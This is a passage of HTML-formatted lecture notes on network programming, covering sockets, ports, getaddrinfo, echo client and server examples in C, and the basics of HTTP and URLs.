&lt;li&gt;Smaller backbones that cover smaller geographical areas (e.g., cities or states)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Point of presence (POP)
&lt;ul&gt;
&lt;li&gt;Machine that is connected to the Internet&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Internet Service Providers (ISPs)
&lt;ul&gt;
&lt;li&gt;Provide dial-­‐up or direct access to POPs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Internet Connection Hierarchy&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axhcdd0ob.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Internet Connections&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Clients and servers communicate by sending streams of bytes over &lt;em&gt;connections&lt;/em&gt;. Each connection is:
&lt;ul&gt;
&lt;li&gt;Point-to-point: connects a pair of processes&lt;/li&gt;
&lt;li&gt;Full-duplex: data can flow in both directions at the same time&lt;/li&gt;
&lt;li&gt;Reliable: stream of bytes sent by the source is eventually received by the destination in the same order it was sent&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;em&gt;socket&lt;/em&gt; is an endpoint of a connection
&lt;ul&gt;
&lt;li&gt;Socket address is an &lt;strong&gt;IPaddress:Port&lt;/strong&gt; pair&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;em&gt;port&lt;/em&gt; is a 16-bit integer that identifies a process:
&lt;ul&gt;
&lt;li&gt;Ephemeral port: Assigned automatically by client kernel when client makes a connection request&lt;/li&gt;
&lt;li&gt;Well‐known port: Associated with some &lt;em&gt;service&lt;/em&gt; provided by a server (e.g., port 80 is associated with Web servers)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Well-known Ports and Service Names&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Popular services have permanently assigned &lt;em&gt;well-known ports&lt;/em&gt; and corresponding &lt;em&gt;well-known service names&lt;/em&gt;:
&lt;ul&gt;
&lt;li&gt;echo server: 7/echo&lt;/li&gt;
&lt;li&gt;ssh servers: 22/ssh&lt;/li&gt;
&lt;li&gt;email server: 25/smtp&lt;/li&gt;
&lt;li&gt;web servers: 80/http&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Mappings between well-known ports and service names is contained in the file &lt;code&gt;/etc/services&lt;/code&gt; on each Linux machine&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Anatomy of a Connection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A connection is uniquely identified by the socket addresses of its endpoints (&lt;em&gt;socket pair&lt;/em&gt;)
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;(cliaddr:cliport, servaddr:servport)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4cl78pkn70.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Using Ports to Identify Services&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dx6n3pxbi.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Sockets&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;What is a socket ?
&lt;ul&gt;
&lt;li&gt;To the kernel, a socket is an endpoint of communication&lt;/li&gt;
&lt;li&gt;To an application, a socket is a file descriptor that lets the application read/write from/to the network
&lt;ul&gt;
&lt;li&gt;Remember: All Unix I/O devices, including networks, are modeled as files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Clients and servers communicate with each other by reading from and writing to socket descriptors&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw1nh894p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The main distinction between regular file I/O and socket I/O is how the application &quot;opens&quot; the socket descriptors&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Socket Address Structures&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Generic socket address:
&lt;ul&gt;
&lt;li&gt;For address arguments to &lt;code&gt;connect&lt;/code&gt;, &lt;code&gt;bind&lt;/code&gt;, and &lt;code&gt;accept&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Necessary only because C did not have generic (&lt;strong&gt;void *&lt;/strong&gt;) pointers when the sockets interface was designed&lt;/li&gt;
&lt;li&gt;For casting convenience, we adopt the Stevens convention: &lt;code&gt;typedef struct sockaddr SA;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;struct sockaddr {
  uint16_t sa_family; /* Protocol family */
  char sa_data[14];   /* Address data */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60uk5wqkow.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Internet-specific socket address:
&lt;ul&gt;
&lt;li&gt;Must cast (&lt;code&gt;struct sockaddr_in *&lt;/code&gt;) to (&lt;code&gt;struct sockaddr *&lt;/code&gt;) for functions that take socket address arguments&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;struct sockaddr_in {
  uint16_t sin_family;       /* Protocol family (always AF_INET) */
  uint16_t sin_port;         /* Port num in network byte order */
  struct in_addr sin_addr;   /* IP addr in network byte order */
  unsigned char sin_zero[8]; /* Pad to sizeof(struct sockaddr) */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175p9siabs.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Sockets Interface&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Set of system-level functions used in conjunction with Unix I/O to build network applications&lt;/li&gt;
&lt;li&gt;Created in the early 80&apos;s as part of the original Berkeley distribution of Unix that contained an early version of the Internet protocols&lt;/li&gt;
&lt;li&gt;Available on all modern systems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.icfpssdsb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;socket&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Clients and servers use the &lt;code&gt;socket&lt;/code&gt; function to create a &lt;em&gt;socket descriptor&lt;/em&gt;: &lt;code&gt;int socket(int domain, int type, int protocol)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Example: &lt;code&gt;int clientfd = socket(AF_INET, SOCK_STREAM, 0);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
Protocol specific ! Best practice is to use &lt;strong&gt;getaddrinfo&lt;/strong&gt; to generate the parameters automatically, so that code is protocol independent.
:::&lt;/p&gt;
&lt;h4&gt;bind&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;A server uses bind to ask the kernel to associate the server&apos;s socket address with a socket descriptor: &lt;code&gt;int bind(int sockfd, SA *addr, socklen_t addrlen);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The process can read bytes that arrive on the connection whose endpoint is &lt;em&gt;addr&lt;/em&gt; by reading from descriptor &lt;em&gt;sockfd&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Similarly, writes to &lt;em&gt;sockfd&lt;/em&gt; are transferred along connection whose endpoint is &lt;em&gt;addr&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
Best practice is to use &lt;strong&gt;getaddrinfo&lt;/strong&gt; to supply the arguments &lt;em&gt;addr&lt;/em&gt; and &lt;em&gt;addrlen&lt;/em&gt;.
:::&lt;/p&gt;
&lt;h4&gt;listen&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;By default, kernel assumes that descriptor from socket function is an &lt;em&gt;active socket&lt;/em&gt; that will be on the client end of a connection&lt;/li&gt;
&lt;li&gt;A server calls the listen function to tell the kernel that a descriptor will be used by a server rather than a client: &lt;code&gt;int listen(int sockfd, int backlog);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Converts &lt;em&gt;sockfd&lt;/em&gt; from an &lt;em&gt;active socket&lt;/em&gt; to a &lt;em&gt;listening (passive) socket&lt;/em&gt; that can accept connection requests from clients&lt;/li&gt;
&lt;li&gt;&lt;em&gt;backlog&lt;/em&gt; is a hint about the number of outstanding connection requests that the kernel should queue up before starting to refuse requests&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;accept&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Servers wait for connection requests from clients by calling &lt;code&gt;accept&lt;/code&gt;: &lt;code&gt;int accept(int listenfd, SA *addr, int *addrlen);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Waits for connection request to arrive on the connection bound to &lt;em&gt;listenfd&lt;/em&gt;, then fills in client&apos;s socket address in &lt;em&gt;addr&lt;/em&gt; and size of the socket address in &lt;em&gt;addrlen&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Returns a &lt;em&gt;connected descriptor&lt;/em&gt; that can be used to communicate with the client via Unix I/O routines&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9rjps6vs6d.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;connect&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;A client establishes a connection with a server by calling connect: &lt;code&gt;int connect(int clientfd, SA *addr, socklen_t addrlen);&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Attempts to establish a connection with server at socket address &lt;em&gt;addr&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;If successful, then &lt;em&gt;clientfd&lt;/em&gt; is now ready for reading and writing&lt;/li&gt;
&lt;li&gt;Resulting connection is characterized by socket pair &lt;code&gt;(x:y, addr.sin_addr:addr.sin_port)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt; is client address&lt;/li&gt;
&lt;li&gt;&lt;code&gt;y&lt;/code&gt; is ephemeral port that uniquely identifies client process on client host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
Best practice is to use &lt;strong&gt;getaddrinfo&lt;/strong&gt; to supply the arguments &lt;em&gt;addr&lt;/em&gt; and &lt;em&gt;addrlen&lt;/em&gt;.
:::&lt;/p&gt;
&lt;h4&gt;Connected vs. Listening Descriptors&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Listening descriptor
&lt;ul&gt;
&lt;li&gt;End point for client connection requests&lt;/li&gt;
&lt;li&gt;Created once and exists for lifetime of the server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Connected descriptor
&lt;ul&gt;
&lt;li&gt;End point of the connection between client and server&lt;/li&gt;
&lt;li&gt;A new descriptor is created each time the server accepts a connection request from a client&lt;/li&gt;
&lt;li&gt;Exists only as long as it takes to service client&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Why the distinction ?
&lt;ul&gt;
&lt;li&gt;Allows for concurrent servers that can communicate over many client connections simultaneously
&lt;ul&gt;
&lt;li&gt;E.g., Each time we receive a new request, we fork a child to handle the request&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Host and Service Conversion&lt;/h3&gt;
&lt;h4&gt;getaddrinfo&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getaddrinfo&lt;/code&gt; is the modern way to convert string representations of hostnames, host addresses, ports, and service names to socket address structures
&lt;ul&gt;
&lt;li&gt;Replaces obsolete &lt;code&gt;gethostbyname&lt;/code&gt; and &lt;code&gt;getservbyname&lt;/code&gt; functions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Advantages:
&lt;ul&gt;
&lt;li&gt;Reentrant (can be safely used by threaded programs)&lt;/li&gt;
&lt;li&gt;Allows us to write portable protocol-independent code
&lt;ul&gt;
&lt;li&gt;Works with both IPv4 and IPv6&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Disadvantages:
&lt;ul&gt;
&lt;li&gt;Somewhat complex&lt;/li&gt;
&lt;li&gt;Fortunately, a small number of usage patterns suffice in most cases&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int getaddrinfo(const char *host,             /* Hostname or address */
                const char *service,          /* Port or service name */
                const struct addrinfo *hints, /* Input parameters */
                struct addrinfo **result);    /* Output linked list */

void freeaddrinfo(struct addrinfo *result);   /* Free linked list */

const char *gai_strerror(int errcode);        /* Return error msg. */
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Given host and service, &lt;code&gt;getaddrinfo&lt;/code&gt; returns result that points to a linked list of &lt;code&gt;addrinfo&lt;/code&gt; structs, each of which points to a corresponding socket address struct, and which contains arguments for the sockets interface functions&lt;/li&gt;
&lt;li&gt;Helper functions:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;freeadderinfo&lt;/code&gt; frees the entire linked list&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gai_strerror&lt;/code&gt; converts error code to an error message&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Linked List Returned by getaddrinfo&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9gwvy3bd6e.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clients: walk this list, trying each socket address in turn, until the calls to &lt;code&gt;socket&lt;/code&gt; and &lt;code&gt;connect&lt;/code&gt; succeed&lt;/li&gt;
&lt;li&gt;Servers: walk the list until calls to &lt;code&gt;socket&lt;/code&gt; and &lt;code&gt;bind&lt;/code&gt; succeed&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;addrinfo Struct&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;struct addrinfo {
  int ai_flags;             /* Hints argument flags */
  int ai_family;            /* First arg to socket function */
  int ai_socktype;          /* Second arg to socket function */
  int ai_protocol;          /* Third arg to socket function */
  char *ai_canonname;       /* Canonical host name */
  size_t ai_addrlen;        /* Size of ai_addr struct */
  struct sockaddr *ai_addr; /* Ptr to socket address structure */
  struct addrinfo *ai_next; /* Ptr to next item in linked list */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Each addrinfo struct returned by &lt;code&gt;getaddrinfo&lt;/code&gt; contains arguments that can be passed directly to socket function&lt;/li&gt;
&lt;li&gt;Also points to a socket address struct that can be passed directly to &lt;code&gt;connect&lt;/code&gt; and &lt;code&gt;bind&lt;/code&gt; functions&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;getnameinfo&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getnameinfo&lt;/code&gt; is the inverse of &lt;code&gt;getaddrinfo&lt;/code&gt;, converting a socket address to the corresponding host and service
&lt;ul&gt;
&lt;li&gt;Replaces obsolete &lt;code&gt;gethostbyaddr&lt;/code&gt; and &lt;code&gt;getservbyport&lt;/code&gt; functions&lt;/li&gt;
&lt;li&gt;Reentrant and protocol independent&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int getnameinfo(const SA *sa, socklen_t salen, /* In: socket addr */
                char *host, size_t hostlen,    /* Out: host */
                char *serv, size_t servlen,    /* Out: service */
                int flags);                    /* optional flags */
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Conversion Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;netdb.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

#define MAXLINE NI_MAXHOST

typedef struct addrinfo SA;

int main(int argc, char **argv) {
  SA *p, *listp, hints;
  char buf[MAXLINE];
  int rc, flags;

  /* Get a list of addrinfo records */
  memset(&amp;amp;hints, 0, sizeof(SA));
  hints.ai_family = AF_INET;       /* IPv4 only */
  hints.ai_socktype = SOCK_STREAM; /* Connections only */

  if ((rc = getaddrinfo(argv[1], NULL, &amp;amp;hints, &amp;amp;listp)) != 0) {
    fprintf(stderr, &quot;getaddrinfo error: %s\n&quot;, gai_strerror(rc));
    exit(1);
  }

  /* Walk the list and display each IP address */
  flags = NI_NUMERICHOST; /* Display address instead of name */
  for (p = listp; p; p = p-&amp;gt;ai_next) {
    getnameinfo(p-&amp;gt;ai_addr, p-&amp;gt;ai_addrlen, buf, MAXLINE, NULL, 0, flags);
    printf(&quot;%s\n&quot;, buf);
  }

  /* Clean up */
  freeaddrinfo(listp);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Echo Client Example&lt;/h4&gt;
&lt;h5&gt;open_clientfd&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Establish a connection with a server&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int open_clientfd(char *hostname, char *port) {
  int clientfd;
  struct addrinfo hints, *listp, *p;

  /* Get a list of potential server addresses */
  memset(&amp;amp;hints, 0, sizeof(struct addrinfo));
  hints.ai_socktype = SOCK_STREAM; /* Open a connection */
  hints.ai_flags = AI_NUMERICSERV; /* Using numeric port arg. */
  hints.ai_flags |= AI_ADDRCONFIG; /* Recommended for connections */

  getaddrinfo(hostname, port, &amp;amp;hints, &amp;amp;listp);

  /* Walk the list for one that we can successfully connect to */
  for (p = listp; p; p = p-&amp;gt;ai_next) {
    /* Create a socket descriptor */
    if ((clientfd = socket(p-&amp;gt;ai_family, p-&amp;gt;ai_socktype, p-&amp;gt;ai_protocol)) &amp;lt; 0)
      continue; /* Socket failed, try the next */

    /* Connect to the server */
    if (connect(clientfd, p-&amp;gt;ai_addr, p-&amp;gt;ai_addrlen) != -1)
      break; /* Success */
    close(clientfd); /* Connect failed, try another */
  }

  /* Clean up */
  freeaddrinfo(listp);

  if (!p) /* All connects failed */
    return -1;
  else    /* The last connect succeeded */
    return clientfd;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;open_listenfd&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Create a listening descriptor that can be used to accept connection requests from clients&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int open_listenfd(char *port) {
  struct addrinfo hints, *listp, *p;
  int listenfd, optval = 1;

  /* Get a list of potential server addresses */
  memset(&amp;amp;hints, 0, sizeof(struct addrinfo));
  hints.ai_socktype = SOCK_STREAM;             /* Accept connect. */
  hints.ai_flags = AI_PASSIVE | AI_ADDRCONFIG; /* On any IP addr */
  hints.ai_flags |= AI_NUMERICSERV;            /* Using port no. */

  getaddrinfo(NULL, port, &amp;amp;hints, &amp;amp;listp);

  /* Walk the list for one that we can bind to */
  for (p = listp; p; p = p-&amp;gt;ai_next) {
    /* Create a socket descriptor */
    if ((listenfd = socket(p-&amp;gt;ai_family, p-&amp;gt;ai_socktype, p-&amp;gt;ai_protocol)) &amp;lt; 0)
      continue; /* Socket failed, try the next */

    /* Eliminates &quot;Address already in use&quot; error from bind */
    setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&amp;amp;optval , sizeof(int));

    /* Bind the descriptor to the address */
    if (bind(listenfd, p-&amp;gt;ai_addr, p-&amp;gt;ai_addrlen) == 0)
      break; /* Success */
    close(listenfd); /* Bind failed, try the next */
  }

  /* Clean up */
  freeaddrinfo(listp);

  if (!p) /* No address worked */
    return -1;

  /* Make it a listening socket ready to accept conn. requests */
  if (listen(listenfd, LISTENQ) &amp;lt; 0) {
    close(listenfd);
    return -1;
  }
  return listenfd;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
&lt;strong&gt;open_clientfd&lt;/strong&gt; and &lt;strong&gt;open_listenfd&lt;/strong&gt; are both independent of any particular version of IP.
:::&lt;/p&gt;
&lt;h5&gt;Echo Client&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;csapp.h&amp;gt;

int main(int argc, char **argv) {
  int clientfd;
  char *host, *port, buf[MAXLINE];
  rio_t rio;

  host = argv[1];
  port = argv[2];

  clientfd = open_clientfd(host, port);
  rio_readinitb(&amp;amp;rio, clientfd);

  while (fgets(buf, MAXLINE, stdin) != NULL) {
    rio_writen(clientfd, buf, strlen(buf));
    rio_readlineb(&amp;amp;rio, buf, MAXLINE);
    fputs(buf, stdout);
  }
  close(clientfd);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;Iterative Echo Server&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;csapp.h&amp;gt;

void echo(int connfd);

int main(int argc, char **argv) {
  int listenfd, connfd;
  socklen_t clientlen;
  struct sockaddr_storage clientaddr; /* Enough room for any addr */
  char client_hostname[MAXLINE], client_port[MAXLINE];

  listenfd = open_listenfd(argv[1]);
  while (1) {
    clientlen = sizeof(struct sockaddr_storage); /* Important! */
    connfd = accept(listenfd, (SA *)&amp;amp;clientaddr, &amp;amp;clientlen);
    getnameinfo((SA *)&amp;amp;clientaddr, clientlen, client_hostname, MAXLINE, client_port, MAXLINE, 0);
    printf(&quot;Connected to (%s, %s)\n&quot;, client_hostname, client_port);
    echo(connfd);
    close(connfd);
  }
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;echo&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;The server uses RIO to read and echo text lines until EOF (end-of-file) condition is encountered
&lt;ul&gt;
&lt;li&gt;EOF condition caused by client calling &lt;strong&gt;close(clientfd)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void echo(int connfd) {
  size_t n;
  char buf[MAXLINE];
  rio_t rio;

  rio_readinitb(&amp;amp;rio, connfd);
  while((n = rio_readlineb(&amp;amp;rio, buf, MAXLINE)) != 0) {
    printf(&quot;server received %d bytes\n&quot;, (int)n);
    rio_writen(connfd, buf, n);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Web Server Basics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Clients and servers communicate using the &lt;strong&gt;Hyper Text Transfer Protocol (HTTP)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Client and server establish TCP connection&lt;/li&gt;
&lt;li&gt;Client requests content&lt;/li&gt;
&lt;li&gt;Server responds with requested content&lt;/li&gt;
&lt;li&gt;Client and server close connection (eventually)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;HTTP/1.1 RFC 2616, June, 1999
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/Protocols/rfc2616/rfc2616.html&quot;&gt;https://www.w3.org/Protocols/rfc2616/rfc2616.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apb8pv8vn.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;HTTP Versions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Major differences between HTTP/1.1 and HTTP/1.0
&lt;ul&gt;
&lt;li&gt;HTTP/1.0 uses a new connection for each transaction&lt;/li&gt;
&lt;li&gt;HTTP/1.1 also supports &lt;em&gt;persistent connections&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Multiple transactions over the same connection&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Connection: Keep-Alive&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;HTTP/1.1 requires &lt;code&gt;HOST&lt;/code&gt; header
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Host: www.cmu.edu&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Makes it possible to host multiple websites at single Internet host&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;HTTP/1.1 supports &lt;em&gt;chunked encoding&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;HTTP/1.1 adds additional support for caching&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Web Content&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Web servers return &lt;em&gt;content&lt;/em&gt; to clients
&lt;ul&gt;
&lt;li&gt;content: a sequence of bytes with an associated &lt;strong&gt;MIME (Multipurpose
Internet Mail Extensions)&lt;/strong&gt; type&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Example MIME types
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;text/html&lt;/code&gt; -- HTML document&lt;/li&gt;
&lt;li&gt;&lt;code&gt;text/plain&lt;/code&gt; -- Unformatted text&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image/gif&lt;/code&gt; -- Binary image encoded in GIF format&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image/png&lt;/code&gt; -- Binary image encoded in PNG format&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image/jpeg&lt;/code&gt; -- Binary image encoded in JPEG format&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The complete list of MIME types: &lt;a href=&quot;https://www.iana.org/assignments/media-types/media-types.xhtml&quot;&gt;https://www.iana.org/assignments/media-types/media-types.xhtml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Static and Dynamic Content&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The content returned in HTTP responses can be either &lt;em&gt;static&lt;/em&gt; or &lt;em&gt;dynamic&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Static content: content stored in files and retrieved in response to an HTTP request
&lt;ul&gt;
&lt;li&gt;E.g., HTML files, images, audio clips&lt;/li&gt;
&lt;li&gt;Request identifies which content file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dynamic content: content produced on-the-fly in response to an HTTP request
&lt;ul&gt;
&lt;li&gt;E.g., content produced by a program executed by the server on behalf of the client&lt;/li&gt;
&lt;li&gt;Request identifies file containing executable code&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Bottom line: Web content is associated with a file that is managed by the server&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;URLs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unique name for a file: &lt;strong&gt;URL (Universal Resource Locator)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Example URL: &lt;code&gt;http://www.cmu.edu:80/index.html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Clients use prefix (&lt;code&gt;http://www.cmu.edu:80&lt;/code&gt;) to infer:
&lt;ul&gt;
&lt;li&gt;What kind (protocol) of server to contact (&lt;code&gt;HTTP&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Where the server is (&lt;code&gt;www.cmu.edu&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;What port it is listening on (&lt;code&gt;80&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
